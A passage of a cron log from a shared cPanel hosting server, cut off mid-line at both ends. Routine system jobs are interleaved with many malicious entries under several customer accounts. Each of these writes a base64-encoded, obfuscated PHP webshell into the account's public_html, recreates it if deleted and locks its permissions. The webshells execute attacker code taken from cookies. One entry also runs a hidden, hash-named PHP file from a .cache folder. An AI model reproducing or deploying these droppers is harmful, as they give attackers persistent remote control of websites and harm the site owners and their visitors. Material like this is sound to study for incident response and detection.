--decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:39:02 medusa CROND[29018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:39:02 medusa CROND[29019]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:39:02 medusa CROND[29025]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:39:02 medusa CROND[29026]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:39:02 medusa CROND[29027]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:40:02 medusa CROND[19111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:40:02 medusa CROND[19138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:40:02 medusa CROND[19240]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:40:02 medusa CROND[19280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:40:02 medusa CROND[19281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:40:02 medusa CROND[19286]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19288]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:40:02 medusa CROND[19283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19287]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:40:02 medusa CROND[19290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19291]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:40:02 medusa CROND[19289]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:40:02 medusa CROND[19294]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:40:02 medusa CROND[19293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:40:02 medusa CROND[19292]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:40:02 medusa CROND[19285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:40:02 medusa CROND[19305]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:40:02 medusa CROND[19308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:40:02 medusa CROND[19311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:40:02 medusa CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19320]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:40:02 medusa CROND[19325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19324]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19323]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19322]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:40:02 medusa CROND[19319]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:40:02 medusa CROND[19328]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:40:02 medusa CROND[19337]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:41:02 medusa CROND[7622]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:41:02 medusa CROND[7625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:41:02 medusa CROND[7626]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:41:02 medusa CROND[7624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:41:02 medusa CROND[7628]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:41:02 medusa CROND[7629]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdH